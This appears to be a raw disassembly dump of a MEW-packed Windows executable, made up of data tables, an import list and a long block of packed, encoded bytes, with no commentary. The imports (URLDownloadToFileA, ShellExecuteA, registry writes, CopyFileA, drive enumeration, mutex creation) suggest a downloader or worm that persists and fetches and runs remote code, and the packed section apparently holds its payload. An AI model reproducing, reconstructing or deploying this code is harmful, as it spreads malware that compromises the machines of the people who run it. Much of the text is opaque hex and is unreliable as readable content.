dword_4A8978 dd 0 dword_4A897C dd 0 ; MEW:004A32C1o dword_4A8980 dd 2 dup(0) dword_4A8988 dd 2 dup(0) byte_4A8990 db 0 ; DATA XREF: sub_4A3FC4+159w ; sub_4A3FC4+248o align 2 word_4A8992 dw 0 ; DATA XREF: sub_4A3FC4+16Aw word_4A8994 dw 0 ; DATA XREF: sub_4A3FC4+170w word_4A8996 dw 0 ; DATA XREF: sub_4A3FC4+179w byte_4A8998 db 0 ; DATA XREF: sub_4A3FC4+182w byte_4A8999 db 0 ; DATA XREF: sub_4A3FC4+189w word_4A899A dw 0 ; DATA XREF: sub_4A3FC4+190w dword_4A899C dd 0 dword_4A89A0 dd 0 byte_4A89A4 db 0 ; DATA XREF: sub_4A3FC4:loc_4A4193w byte_4A89A5 db 0 ; DATA XREF: sub_4A3FC4:loc_4A41ACw word_4A89A6 dw 0 ; DATA XREF: sub_4A3FC4+205w word_4A89A8 dw 0 ; DATA XREF: sub_4A3FC4+1FEw word_4A89AA dw 0 ; DATA XREF: sub_4A3FC4+20Ew dword_4A89AC dd 100h dup(0) dword_4A8DAC dd 0 ; sub_4A4379+64r ... dword_4A8DB0 dd 0 ; sub_4A4379:loc_4A43ADr ... align 8 byte_4A8DB8 db 0 ; DATA XREF: sub_4A4379+12Do ; sub_4A4379+13Eo ... align 4 dd 3Fh dup(0) byte_4A8EB8 db 3 dup(0) ; DATA XREF: sub_4A5390+15o byte_4A8EBB db 0 ; DATA XREF: sub_4A4379+1DBr byte_4A8EBC db 0 ; DATA XREF: sub_4A4379:loc_4A44A1o ; sub_4A4379:loc_4A44E3o ... align 10h dd 3Fh dup(0) dword_4A8FBC dd 0 ; sub_4A4379+10Cr ... dd 2 dup(0) word_4A8FC8 dw 0 ; DATA XREF: sub_4A53E0+2Bw ; sub_4A53E0+33r align 4 dword_4A8FCC dd 0 dword_4A8FD0 dd 0 ; sub_4A6249+49r ... dword_4A8FD4 dd 3 dup(0) ; sub_4A5429+53o ... byte_4A8FE0 db 0 ; DATA XREF: sub_4A5429+C7w ; sub_4A5429+105w byte_4A8FE1 db 0 ; DATA XREF: sub_4A5429+DDo ; sub_4A5429+121w align 4 dd 41h dup(0) dword_4A90E8 dd 0 ; sub_4A5B18+61r ... byte_4A90EC db 0 ; DATA XREF: sub_4A6542+5o ; sub_4A6542+13o ... align 10h dd 0A4h dup(0) dword_4A9380 dd 0 ; sub_4A5B18+C1w dd 0C7h dup(0) dword_4A96A0 dd 0 ; sub_4A6249+88r ... dword_4A96A4 dd 0 ; sub_4A657F+Fr ... byte_4A96A8 db 0 ; DATA XREF: sub_4A53E0+5r ; sub_4A53E0+11r ... align 4 dword_4A96AC dd 0 ; sub_4A657F+28w ... dd 64h dup(0) dword_4A9840 dd 4 dup(0) dword_4A9850 dd 4 dup(0) ; sub_4A8423+143o dword_4A9860 dd 0 dword_4A9864 dd 80h dup(0) ; sub_4A8423+51o ... dword_4A9A64 dd 0Dh dup(0) ; sub_4A85C7+94o ... dword_4A9A98 dd 0 ; sub_4A7662+54r ... dword_4A9A9C dd 0 ; sub_4A6DD0+BFr ... dd 82Fh dup(0) dd offset dword_4A113C dd 5F325357h, 642E3233h, 6C6Ch, 80000h, 140000h, 160000h dd 720000h, 330000h, 0A0000h, 6E0000h, 0F0000h, 120000h dd 90000h, 70000h, 80030000h, 45415357h, 746E6576h, 656C6553h dd 7463h, 0 db 0 align 2 dw 96h db 0 align 2 dw 11h db 0 align 2 dw 0Ch db 0 align 2 dw 1 db 0 align 2 dw 73h db 0 align 2 dw 0Bh db 0 align 2 dw 38h db 0 align 2 dw 2 db 0 align 2 dw 0FF13h db 0FFh db 2 dup(0FFh), 28h db 11h db 4Ah, 0, 55h db 53h ; S db 45h, 52h, 33h db 32h ; 2 db 2Eh, 64h, 6Ch db 6Ch ; l align 2 dw 4380h aHarlowera db 'harLowerA',0 aAwsprintfa db '€wsprintfA',0 db 3 dup(0FFh) db 0FFh dd offset dword_4A1014 db 4Bh, 45h, 52h db 4Eh ; N db 45h, 4Ch, 33h db 32h ; 2 db 2Eh, 64h, 6Ch db 6Ch ; l align 2 dw 5280h aEadfile db 'eadFile',0 aAgetversionexa db '€GetVersionExA',0 aAglobalalloc db '€GlobalAlloc',0 aAglobalfree db '€GlobalFree',0 aAloadlibrarya db '€LoadLibraryA',0 aAgetprocaddres db '€GetProcAddress',0 aAcreatefilea db '€CreateFileA',0 aAcreateeventa db '€CreateEventA',0 aAclosehandle db '€CloseHandle',0 aAresetevent db '€ResetEvent',0 aAwaitforsingle db '€WaitForSingleObject',0 aAgetcurrentthr db '€GetCurrentThreadId',0 aAgetdrivetypea db '€GetDriveTypeA',0 aAfindfirstfile db '€FindFirstFileA',0 aAfindnextfilea db '€FindNextFileA',0 aAfindclose db '€FindClose',0 aAlstrcpyna db '€lstrcpynA',0 aAlstrcmpa db '€lstrcmpA',0 aAlstrcpya db '€lstrcpyA',0 aAlstrlena db '€lstrlenA',0 aAgettickcount db '€GetTickCount',0 aAgetwindowsdir db '€GetWindowsDirectoryA',0 aAsetfileattrib db '€SetFileAttributesA',0 aAcopyfilea db '€CopyFileA',0 aAsetcurrentdir db '€SetCurrentDirectoryA',0 aAgetsystemdire db '€GetSystemDirectoryA',0 aAgetmodulefile db '€GetModuleFileNameA',0 aAgetmodulehand db '€GetModuleHandleA',0 aAsleep db '€Sleep',0 aAcreatethread db '€CreateThread',0 aAexitprocess db '€ExitProcess',0 aAgetlasterror db '€GetLastError',0 aAcreatemutexa db '€CreateMutexA',0 db 0FFh db 0FFh db 2 dup(0FFh), 0 db 10h db 4Ah, 0, 41h db 44h ; D db 56h, 41h, 50h db 49h ; I db 33h, 32h, 2Eh db 64h ; d db 2 dup(6Ch), 0 aAregdeletevalu db '€RegDeleteValueA',0 aAregopenkeyexa db '€RegOpenKeyExA',0 aAregsetvalueex db '€RegSetValueExA',0 aAregclosekey db '€RegCloseKey',0 db 3 dup(0FFh) db 0FFh dd offset dword_4A109C db 4Dh, 53h, 56h db 43h ; C db 52h, 54h, 2Eh db 64h ; d db 2 dup(6Ch), 0 db 80h ; € aAtoi db 'atoi',0 aAfclose db '€fclose',0 aAfprintf db '€fprintf',0 aAstrstr db '€strstr',0 aAsprintf db '€sprintf',0 aAstrtok db '€strtok',0 aAfread db '€fread',0 aAtime db '€time',0 aAsscanf db '€sscanf',0 aAstrcmp db '€strcmp',0 aAstrtoul db '€strtoul',0 aAprintf db '€printf',0 aAsrand db '€srand',0 aAmalloc db '€malloc',0 aAfree db '€free',0 aAisdigit db '€isdigit',0 aA??2@yapaxi@z db '€??2@YAPAXI@Z',0 aA??3@yaxpax@z db '€??3@YAXPAX@Z',0 aAmemcpy db '€memcpy',0 aAstrcpy db '€strcpy',0 aAfgetc db '€fgetc',0 aAftell db '€ftell',0 aAfseek db '€fseek',0 aArewind db '€rewind',0 aAisspace db '€isspace',0 aAfopen db '€fopen',0 aAstrcat db '€strcat',0 aAmemset db '€memset',0 aAstrlen db '€strlen',0 aAstrncat db '€strncat',0 aArand db '€rand',0 aAfgets db '€fgets',0 db 0FFh db 0FFh db 2 dup(0FFh), 20h db 11h db 4Ah, 0, 53h db 48h ; H db 45h, 2 dup(4Ch) db 33h ; 3 db 32h, 2Eh, 64h db 6Ch ; l db 6Ch, 0, 80h aShellexecutea db 'ShellExecuteA',0 dw 0FFFFh db 0FFh ; --------------------------------------------------------------------------- jmp dword ptr [ecx+edx+7275004Ah] ; --------------------------------------------------------------------------- db 6Ch ; l db 6Dh, 6Fh, 6Eh db 2Eh ; . db 64h, 2 dup(6Ch) db 0 aAurldownloadto db '€URLDownloadToFileA',0 db 3 dup(0FFh) db 0FFh dd offset dword_4A1134 db 57h, 49h, 4Eh db 49h ; I db 4Eh, 45h, 54h db 2Eh ; . db 64h, 2 dup(6Ch) db 0 aAinternetgetco db '€InternetGetConnectedState',0 dd 0FFFFFFFFh, 4A119Ch, 6C687069h, 69706170h, 6C6C642Eh dd 65478000h, 74654E74h, 6B726F77h, 61726150h, 8000736Dh dd 0 MEW ends ; Section 2. (virtual address 0000C000) ; Virtual size : 00004000 ( 16384.) ; Section size in file : 00004000 ( 16384.) ; Offset to raw data for section: 0000C000 ; Flags C00000E0: Text Data Bss Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Uninitialized ; Segment permissions: Read/Write __u_____ segment para public 'BSS' use32 assume cs:__u_____ ;org 4AC000h assume es:nothing, ss:nothing, ds:MEW, fs:nothing, gs:nothing dword_4AC000 dd 0FF41C933h, 0FFC91313h, 0C3F87213h, 7C801D77h, 7C80ADA0h ; DATA XREF: __u_____:004AC018o dd 0 dd offset dword_4AC000 dd 4A012Ch, 4A3238h, 4A11B0h, 4A21383Ch, 28093032h, 14482024h dd 88700C91h, 0F08120F8h, 0E024E412h, 0CC91D448h, 0BC44C422h dd 12A889B0h, 489824A0h, 6401A090h, 447F118Ch, 500C2958h dd 3C894809h, 0F4220C12h, 48DC0428h, 22CC91D4h, 4CA844C8h dd 0F8113089h, 929B227h, 461C2488h, 0C81926C0h, 14916809h dd 0D925F41Bh, 448C0922h, 68897080h, 4C245812h, 34914048h dd 1C442822h, 11048910h, 0EC0224F8h, 0D448E024h, 0C022CC91h dd 89ACB844h, 249412A0h, 8D284888h, 91B123C8h, 4C225409h dd 893C4444h, 24301234h, 9124482Ch, 4414221Ch, 8890C10h dd 0F8880817h, 22F41122h, 0DCE444ECh, 0D412D889h, 0C448CC24h dd 0B422BC91h, 89A4AC44h, 2494129Ch, 9184488Ch, 4474227Ch dd 50895C6Ch, 34244012h, 18912448h, 0FC200822h, 0E8F04421h dd 0D012DC89h, 0B048C024h, 2840A491h, 9C26F998h, 5B10EB00h dd 66C9334Bh, 125B900h, 990B3480h, 0EBFA0EE2h, 0FF6CE805h dd 627C7002h, 30FDC680h, 120FA938h, 0E9E695D9h, 9E34853Bh dd 6E8091F1h, 71C09DF3h, 7B29C702h, 0ABAAE360h, 0EE3B0E75h dd 0CDC601EAh, 71128F66h, 181B1942h, 9317518h, 0F1CD1098h dd 660D06D7h, 3C989CFh, 1605D96Ch, 41120C8Dh, 9828E6F1h dd 9DEA9BEAh, 55064B7Ch, 0CAC889F3h, 1C81002Ah, 0F1D3EC59h dd 0FD00F4FAh, 0A9FF1099h, 0CD751Ah, 0F3BDA514h, 7B32C08Ch dd 0DD5F641Eh, 67D8895Ch, 7910A40Ah, 9D164C5h, 14C946D5h dd 63CD762Bh, 98F302C8h, 0EF660808h, 9DCF0DA9h, 0A8DAEB95h dd 639D9106h, 0C8950685h, 0A5DC12D0h, 0B107CDE6h, 0CB4C9AE1h dd 0B0B9EBA3h, 1F50AA6Ch, 5D34D8D0h, 9642C05Ch, 4FA38927h dd 5891ED07h, 43E09452h, 36872D9h, 7EEC86A2h, 0BD9312C3h dd 0D8FF44E9h, 12C8D295h, 9C6C3F85h, 0C70A3252h, 0BB715AC0h dd 0D7170230h, 0EB750097h, 348F2A67h, 57399C40h, 0F9790176h dd 0A2657452h, 0FE6C90ECh, 33603E75h, 5FE07E0Eh, 5A406152h dd 897D084Ah, 952A0F0Ah, 40C349FEh, 411F78E7h, 109BEA14h dd 6A3F87EDh, 7E9AE728h, 8DD70162h, 0CECF74AAh, 80A6F5C8h dd 97F36B19h, 0A33F6AC0h, 1AC6A89Fh, 0DC9D0C5Eh, 0C710707Bh dd 28541239h, 5A1D9FDFh, 58147848h, 0BFA541C5h, 0FBA45180h dd 1E9BE6DFh, 12DF99F8h, 90036392h, 0D9975F1Ah, 41F2F349h dd 1A161E7Ch, 0CFCB9402h, 8165CE66h, 9CF341D5h, 52ED2691h dd 0F92C517Eh, 752C989Bh, 919E5E2Ah, 59AA037Ah, 82B4DE10h dd 6D0ECE7Dh, 0D9B3669h, 0D35466Dh, 7F0E9061h, 3E76BFDDh dd 10C00338h, 627B179Dh, 90A1CFA9h, 0D902A506h, 0B5DF5EFFh dd 0DE14CE40h, 45FFCC90h, 5E7D7387h, 0B544A5F2h, 8FE42ADDh dd 0CB797A31h, 4F8BEFB7h, 927D08B9h, 0D5453584h, 8C18C860h dd 92C34B24h, 24776ACCh, 67760851h, 0EDFCDE00h, 1CF6EBC9h dd 7BFDD8FAh, 31EA717Ah, 0F80CDA99h, 128CE6EDh, 0DCFED81Dh dd 4CF0E13Fh, 0AE296C37h, 0AF66ED5h, 3DFB9F9Fh, 30E069FEh dd 6D4A6412h, 0B37CB10Fh, 8661F254h, 0F7F0FB24h, 5BF5489Dh dd 0C3C77AEAh, 7C28FAF8h, 0FDEDEBE9h, 8C45FFF6h, 2085F320h dd 53FF8501h, 72424D1Ch, 70187922h, 0FF8A8DC8h, 629C07FEh dd 43500200h, 7454E20h, 524F5754h, 3B7D8F4Bh, 419E473Bh dd 2E31064Dh, 4C793030h, 6D14E7Ah, 6957000Bh, 776F646Eh dd 66203A73h, 0C77C72BAh, 7F676B08h, 1E7075C6h, 312E330Ch dd 0C34D5161h, 30583248h, 0CF334A8Fh, 16792EBBh, 32205437h dd 0FD163036h, 0A4A4714Ch, 2173438Ch, 71107907h, 4858DF2Ch dd 0A111499h, 620CA15h, 801CD490h, 989A3669h, 50705371h dd 1C970144h, 2BE00882h, 0C57C701h, 64E06E4Ah, 77E06FE0h dd 77D973E0h, 25430EAh, 388D0A10h, 24352B39h, 2E3C347Bh dd 0DA4F3810h, 862ACAFh, 0FDA1120h, 9F645721h, 189032Ch dd 24460594h, 640847CAh, 0E1063C40h, 0FD0E1ACAh, 15032055h dd 48E0888Ah, 44824F83h, 6A198100h, 0E4F2007Ah, 0AF281C49h dd 740A2530h, 0E2536710h, 225C655Fh, 0B23575E0h, 0E0860454h dd 0BE89105Ch, 45BB431h, 8932624Dh, 1036109Ch, 782ADF38h dd 49393067h, 431CED0Ah, 3F792419h, 0E5080147h, 0A2640864h dd 0DC081074h, 18F74004h, 3CDEC8CEh, 16140E1Ch, 19FC217h dd 0AC279E02h, 8029AC41h, 0A411031Ah, 0DA6C558Ch, 0D4207521h dd 0A563E070h, 6C9C142Bh, 50592523h, 48C15F25h, 1CDA0F47h dd 29BA5471h, 0C926B766h, 0B846596Ch, 68CCA650h, 9C1FCC45h dd 30B0D05h, 8872A371h, 477B89Fh, 6680C0Ah, 19286A00h dd 0EB10C39h, 0A89B11D0h, 0D94FC000h, 60A8F52Eh, 8A01885Dh dd 11C91CEBh, 3D20E89Fh, 4810142Bh, 0CE1D260h, 88A45FF4h dd 0CA04260h, 28283417h, 0BF5B1A4h, 0A08821DCh, 1C88C50Ch dd 8091C41h, 8C803ECh, 401495C1h, 7C1E5023h, 0B8C02B70h dd 0A3FD0856h, 1C7E1489h, 2138578h, 0E9A65BABh, 0F8100E90h dd 2F101491h, 0FE42FFECh, 69240E26h, 3D6339Bh, 83910870h dd 44D80834h, 6DEEF8B9h, 0A125B705h, 0C09642Fh, 0AD003020h dd 88C8C0Dh, 0D80F02C4h, 1884809Bh, 42700801h, 35170F84h dd 95802828h, 0BC803CD4h, 84238402h, 236C1E0Fh, 9A090123h dd 737015A8h, 0FD148946h, 0A810101h, 0C9B816C2h, 2050581Ch dd 666F7281h, 0E7C77365h, 6C61A76Fh, 795B03DCh, 1976F875h dd 1C737265h, 0C9EFF5Dh, 0AF2E34CFh, 35ABFE78h, 8D9E469Bh dd 6B323C21h, 3CBCDE1Eh, 701EF874h, 42FE642Eh, 15123C80h dd 83850275h, 61766441h, 0DB6563C1h, 626D53CBh, 50E07869h dd 16CD034h, 1CB83C90h, 1A57570h, 74683856h, 2F3A708Eh dd 72306A20h, 693C622Eh, 8275BE7Ah, 65746164h, 0CAE39233h dd 0CF0E1E50h, 14FF6F02h, 0F2AD346Eh, 2F74F587h, 6DA9634Eh dd 623E3D44h, 270CD778h, 311A1A77h, 9AB85C40h, 68633FF3h dd 506D4CF6h, 6572420Ch, 48906C1Ch, 1C6E413Fh, 9EBE5669h dd 76827375h, 23302E31h, 53804E49h, 5478464Fh, 45524101h dd 63694D5Ch, 0F73B892h, 9C537453h, 547B4E64h, 7275431Bh dd 566C3A78h, 23689177h, 7B60201Ah, 63699044h, 5253A862h dd 0E8441843h, 0A0797753h, 0FD526DE7h, 72AA0CBEh, 6E4528AAh dd 96465147h, 0C7E777F1h, 50584C9Ah, 9CB9FF6Fh, 54554E68h dd 5C282D8Ch, 0A4EFFB44h, 0DB4E0826h, 3C3E8586h, 1E0D5389h dd 3AEFE722h, 724EC73Eh, 92847541h, 8858D55h, 6BDB53E0h dd 4C5A4652h, 270864B4h, 8A41E735h, 4F0C3338h, 0A9E8DAFFh dd 2B6D2325h, 32C6B62Ch, 30796624h, 0F588907Ch, 0C0FB2721h dd 92432079h, 2968F92Bh, 732B5542h, 2D12CE3Bh, 431A1BC4h dd 0F7543A0Fh, 674D6B0Ah, 177AC072h, 0E8912BB7h, 9AB25AE1h dd 0A4A1DC9Ch, 0C12A667h, 6F547906h, 4FC2F144h, 0F15468E8h dd 0BD64FE52h, 34363809h, 77ECC930h, 732E0284h, 49AC8479h dd 0B09463DAh, 14020A6Eh, 2E0EDC46h, 1476EA67h, 93267012h dd 2D661211h, 620F2473h, 1C897420h, 968FDF29h, 7A3D08F5h dd 401F70A0h, 0FFEC636Dh, 7410E638h, 0A3647DF1h, 0B6296E2Bh dd 8957669Fh, 2C1B6C70h, 68F47AE6h, 6C142ED1h, 917610FDh dd 0D0EE2039h, 0F0941438h, 5D662965h, 8E142A6Ch, 76DDF181h dd 6D10A5EAh, 94F28239h, 2E31CCC1h, 73512509h, 69AC09C0h dd 785C02D4h dd 0C636797Ah, 6221C86Ah, 14DF8428h, 0C36A789Bh, 0E71A7864h dd 0DB0E08B7h, 0CD6DC825h, 0DA944750h, 2A1C380Ch, 0BA11A52Eh dd 8C0BA03Ah, 18A5C790h, 0D467263Eh, 900E6C94h, 1150F4DCh dd 71255884h, 2C3BB7AAh, 69445662h, 0DF1C9378h, 18776C55h dd 9514B48Fh, 0CD209024h, 9ACE0E72h, 69C92458h, 100D0C8Dh dd 6A7E8047h, 316A286Ch, 0E6827414h, 0D6797D39h, 39727524h dd 0F1101910h, 5F285D6Eh, 0FAFC41E1h, 0B01A18AFh, 3E2EB109h dd 0F6C137Bh, 91764610h, 1990376Dh, 0A709D81Bh, 0E656168h dd 0C608BA1Bh, 6230CDF1h, 0DB31A063h, 946A2089h, 840865AAh dd 3C366B63h, 8A279E2h, 5E688805h, 9651910h, 0B5FE176Eh dd 79E84050h, 6B5558A4h, 0A8352138h, 7548D71Eh, 6953DD7Ch dd 90D46066h, 0A6745515h, 86F98B07h, 0C90B726Ch, 6B116203h dd 6084961h, 4FF1879h, 8F118C1Ah, 8AC89529h, 906AD078h dd 8BAE69A0h, 0F06320CAh, 2D64E63Dh, 0B99AA66Eh, 1BE0357Eh dd 81ED8D0Ch, 4B20631Ah, 4831ED01h, 81E88246h, 5E4E7599h dd 62C192BDh, 8A8C7814h, 4F775F70h, 612134F2h, 227063C0h dd 27974995h, 0EB70868h, 0E22218A1h, 30A01885h, 98692EDDh dd 15D079A8h, 2815DA38h, 4649142Ah, 73B389F5h, 0A8591F4Dh dd 18343614h, 0C3095727h, 2464FD0Bh, 7B6D0C0Ah, 8F4D1848h dd 3245180Bh, 0B2F68671h, 8C29523Ch, 12188A3Ch, 7560045Fh dd 1C1DF189h, 29FA20BDh, 49186669h, 723FD46Eh, 25A67364h dd 19840C84h, 0F9F75951h, 89C6A420h, 0E74690Dh, 0B87C9428h dd 12736625h, 67691468h, 7EA5126h, 1F303524h, 44535521h dd 0A046F92Eh, 53D39D1Dh, 0E306F78Dh, 0A36D793Fh, 0C8C7E50Eh dd 685A9E1Eh, 0A2F95908h, 1A709E78h, 12694642h, 731E9C20h dd 629E6D7Ch, 26D1B2A4h, 0A0E0AEDFh, 0D154E01Fh, 63CD1D64h dd 6076B68Ch, 0ED557846h, 86A018A0h, 8698D284h, 1E986D90h dd 97A6FAFFh, 6B83CC62h, 1BDC527Eh, 5F241EF4h, 0DE487468h dd 9CAA062h, 6246D979h, 566B6A76h, 142A530Ch, 0B780740Ah dd 79CA6769h, 0F4E87D6Ch, 3763224Ch, 2AF0756Ch, 5656BE5Ch dd 0EA5702D9h, 5E7683A5h, 5A6D16E6h, 0C70DC26Dh, 0CA8831F4h dd 69D02AD0h, 0BCEE9E6Dh, 9574764Fh, 9009C056h, 1854AA6Bh dd 0CE549BFAh, 4023F708h, 0AA42E3Fh, 4D5DC884h, 937AA2A2h dd 6933665Ch, 0E995E6BDh, 61BB4057h, 0B725778Fh, 9366BB02h dd 7FF2D46Ch, 2ED6D43h, 0BF93496Ch, 64394069h, 0B26CA2BEh dd 0E94117C1h, 4C413019h, 1915377h, 457A4068h, 2130A37Ch dd 5AC66ABFh, 3887DD14h, 867E91E8h, 83E4A2C4h, 0D22C6F20h dd 92B84E49h, 0CA686E0Bh, 28997929h, 67B34849h, 0D371BBE7h dd 4A2F6D37h, 0A2BF60Ah, 50208964h, 577E868Dh, 0C860DA74h dd 4DBD328Fh, 85A89065h, 936E9CCCh, 5999AB62h, 0AE5C10E2h dd 67754283h, 0DA2C4583h, 124F956Fh, 6211F126h, 44200F4Dh dd 86092492h, 6C2BCBC5h, 6C2869A4h, 992C63F5h, 78C62A31h dd 494E39CAh, 20124732h, 32A7504Dh, 0ECFDA9CAh, 4928207h dd 3F9D5048h, 88270C05h, 82041409h, 1527008h, 44434241h dd 0EC474645h, 4B004A49h, 4F4E4D4Ch, 525150h, 56555453h dd 5A595857h, 0BC6388CAh, 8067660Bh, 6C6B6ACEh, 70CDA06Dh dd 4EB071h, 77767574h, 307A7978h, 33323100h, 37363534h dd 2B392538h, 51027B64h, 0D544955h, 2E080C0Ah, 468007A3h dd 4C274941h, 43824145h, 93109865h, 9079542Dh, 293A48EAh dd 9B6CEC75h, 0EC2F9C33h, 0A030B69Dh, 6D24B2B2h, 0A372A3Bh dd 25223DE1h, 8E7C9EFFh, 98279833h, 0ED667AD0h, 0CAF645E5h dd 67B906D2h, 72624980h, 23343614h, 23E754A4h, 9252B973h dd 0ACE63D3Ah, 5348EF9Eh, 85F4725Ah, 78164C8Ch, 8FA22FFCh dd 733B0769h, 0E9B46F2Dh, 2D90863Dh, 0E369FAC4h, 37C6855Eh dd 0E486E262h, 5C012D57h, 6D3C48FDh, 32A32D0Eh, 0C46DC468h dd 76A01E09h, 0DDF5DAC0h, 0A2922178h, 7AB22DDAh, 3F369C82h dd 587FA984h, 10534D26h, 8550CB4Fh, 56E56F23h, 224E8292h dd 1CA86CFBh, 0CC741015h, 724D2133h, 2D452D49h, 245FB7B3h dd 53291718h, 4A420755h, 0FA544345h, 0B8A321F0h, 344F687Ah dd 5246C30Ch, 0E884DEAh, 4144C110h, 0A81CA54h, 0E5504352h dd 3C294320h, 583E3428h, 26E5BCABh, 1484252Dh, 4C45480Fh dd 3214D34Fh, 684874BCh, 40742971h, 51261AA8h, 5F8CB375h dd 82641841h, 0AC69DD84h, 2132CE7Ah, 6F472031h, 7962E1C7h dd 0F351F572h, 3072F1DFh, 3C2574C5h, 28232031h, 26343C40h dd 28AF3532h, 0B5274C5Bh, 0B92E974Ah, 0C4EB936Ah, 25B2CED7h dd 8934CDCDh, 14203690h, 143BD380h, 7425D40Eh, 3531FA21h dd 0B74FFD30h, 4285A56Dh, 0CC20784h, 6464E959h, 10456D04h dd 54455244h, 0A04C54E7h, 4F7E5086h, 0F04844FBh, 2C9464EDh dd 0E66D2872h, 6603D63Bh, 89047818h, 1F712A14h, 395E5BFCh dd 6565D2Ch, 6E70AB3h, 0B08DB150h, 294C936Ch, 69F45349h dd 0E86A8C92h, 889E1AC6h, 8BC72BCBh, 43A80942h, 0D3B894E0h dd 50057C90h, 29565341h, 6B4822B8h, 49941937h, 184AAE57h dd 0D2414556h, 50595420h, 3538A845h, 22201C37h, 3525A72Fh dd 4716D963h, 0F30ECD1Fh, 8B05651h, 575850F1h, 4833249Dh dd 42CD4AA5h, 999DBA9Ch, 0CC595330h, 8A856545h, 46797C81h dd 0A36470D0h, 9959E219h, 68953318h, 0C49A755h, 0E3246727h dd 17AC9D69h, 334718B0h, 14FC0B19h, 0E08DF370h, 0EB7571h dd 45535541h, 5FA88891h, 2CA68192h, 79603057h, 0B99C77F6h dd 74A46A1Dh, 3B3086Bh, 48AE14CEh, 901F496Ch, 3E4E6736h dd 0DAB30FDBh, 2E0060F0h, 266CCA66h, 8B75941Eh, 247B6289h dd 0AD213E14h, 1B90E52Dh, 3A9267B8h, 2AA1C5B2h, 3888215Fh dd 0A44043CEh, 19ABC15Fh, 300808CDh, 0C199A22Dh, 1A4E3AC0h dd 2A43E95Ch, 0D8E45FD0h, 24B02534h, 0EBE0038Ch, 14040668h dd 0E0685C1Ch, 632370E9h, 66FE20B5h, 151CEC81h, 28E4FF07h dd 53C90894h, 126EBF51h, 13E974C7h, 6C82FFF0h, 42DD896Bh dd 64BAC9E0h, 71581145h, 0A3293A22h, 0D628DE24h, 14918930h dd 0BD27C916h, 0E573DF08h, 504C203Fh, 739AD68Bh, 0D6E78666h dd 38983058h, 0E7F83ADFh, 34DA690Bh, 20A4FF3Eh, 0B437CADDh dd 0A1CFD959h, 0E7C43718h, 0C966A528h, 7676EDC9h, 74A87E7Ah dd 0EC508B55h, 859D04BAh, 50068E2h, 0FEFC858Dh, 0E650E2FFh dd 0BF10FC15h, 1D9CEF83h, 0D08D0A38h, 0E8185112h, 833C5938h dd 6A0838C4h, 958D0462h, 68521381h, 1C3FB380h, 0A35BEE8h dd 0C35DE58Bh, 0EE085F4Ah, 4C145A58h, 5C62AC43h, 4D081120h dd 0C8D043FCh, 4B3172A1h, 68E80CB4h, 774A34E9h, 0EB975794h dd 6A316822h, 98854B64h, 23E85010h, 520C3AA9h, 50B96A60h dd 43164B0Dh, 804A404Fh, 7CFFF1D9h, 42868816h, 0B7781EC8h dd 1A4CD872h, 0DC688874h, 95509BA4h, 0E8155212h, 0D09B57BCh dd 0D963D030h, 6A117054h, 90274D04h, 28A6C1Eh, 46F1EF55h dd 576EB1B5h, 5758840Eh, 79ECC87Eh, 68AC0A07h, 6A9FF862h dd 94819101h, 90440C16h, 0B5B74D3Dh, 15087514h, 0E8798C22h dd 75566FDDh, 15E9F9E1h, 0DD1510E7h, 21994855h, 0A043589h dd 4C096DE0h, 148B8858h, 48897823h, 7113410h, 0D75C085h dd 844E20F3h, 0EB8F8448h dd 367CAAE2h, 345390C2h, 0B60A1885h, 22D24E42h, 3487AD15h dd 0FC50E87Fh, 0F42B6885h, 0E80D5701h, 2FD421E7h, 1815ADFDh dd 0C0332169h, 70C25D3Eh, 9D91CC71h, 95020C89h, 9278109Fh dd 67DCB632h, 102E31A4h, 0A0210511h, 22E21E14h, 0F746FDF4h dd 8152C54h, 1580D298h, 41A4DC85h, 3A861586h, 0F17858CEh dd 74424EA6h, 1206681Ch, 0F4FE3102h, 86EA17FDh, 4468099h dd 7D1EF7A8h, 3FEB2974h, 48E88436h, 4CB8855h, 132C0E6h dd 12787250h, 6C409693h, 8B14516Bh, 8D5B7495h, 93F67108h dd 0C1A2658h, 0C2A8D17Ch, 0FC45C701h, 6847456Eh, 64A53758h dd 506868FFh, 294D154Ch, 0C1A051DCh, 4A52D855h, 422D429Dh dd 6822A29Dh, 6CFC4D43h, 55450C51h, 8B52DC02h, 0B950D845h dd 51E94D83h, 1E8804Eh, 0A4437C85h, 4D94A2h, 59808FDCh dd 0E0F80A01h, 91FF0093h, 2CC4FFE0h, 1C112F1Fh, 80D1BA1Fh dd 0F70121EBh, 7F6492h, 713764F2h, 70880E88h, 0F580C8DDh dd 0C9FB0190h, 0F9003FACh, 0CEFD1FACh, 6E9CFB3Fh, 5374F8E7h dd 0DFAB80DCh, 2889F721h, 0F0003F20h, 0F6872028h, 8D5DFB4h dd 42DF2040h, 413F4A69h, 0BAF43AE8h, 0F5149926h, 0A088F0Bh dd 8485F644h, 7B89F7E0h, 7110FA09h, 8EC89F8h, 0E2F94467h dd 0FA5D2284h, 5311D842h, 0FC4E11FBh, 4408C921h, 84BF90FDh dd 0B548FE3Ah, 64CCDCB3h, 9751E503h, 838008CCh, 7E010C7Dh dd 4F7A9024h, 0DB80B108h, 0FC5580AFh, 896DD103h, 0CA03210Ah dd 0A10CCE02h, 0E9E50C89h, 0EB0C12B1h, 1B55B8D6h, 0D440F74h dd 28AC054h, 0C8529B30h, 1B63AE2Eh, 5E10EAC1h, 0B86225F3h dd 8CD0039Ah, 29C12C3Ch, 4F4A10E9h, 8BD0F7C4h, 2FB422C5h dd 0F2845756h, 0AC44A988h, 60853DC6h, 0EB99BE2h, 0C0835176h dd 0E61BD8Dh, 66ABF31Dh, 7868AA42h, 8522D244h, 0AC504064h dd 70111046h, 9C4D0A20h, 92EA1251h, 0A8FDD008h, 0E8D9C3AAh dd 0C58648AEh, 92077431h, 21950BE9h, 0CD50A568h, 43EEE503h dd 89330C67h, 8355C885h, 0E106BD51h, 0E7244175h, 85C70001h dd 6821DECCh, 899E9029h, 60A0500Ch, 0A08B7CB3h, 0FBE85127h dd 0F883738Ah, 44B8442Fh, 0EAB9106Ah, 28735428h, 901C5EE8h dd 8666687Bh, 43372410h, 27321BE8h, 2856D266h, 88E8E1BBh dd 642B3301h, 5659582Ah, 0A9DB164Ch, 2C166400h, 0C085045h dd 3306862Bh, 3E8B9D2h, 0F1F70B3Eh, 2504F08Bh, 4A45D79Ch dd 3B0463E8h, 29870FF8h, 5C697C2h, 454D4890h, 41C2A68h dd 47AC31F0h, 0A092A3DFh, 5328523h, 84010F94h, 29509609h dd 80649822h, 14C990Eh, 84869A2Fh, 0C069076Ch, 0A073E47h dd 8365189Dh, 33CA9CA3h, 696F9F8Bh, 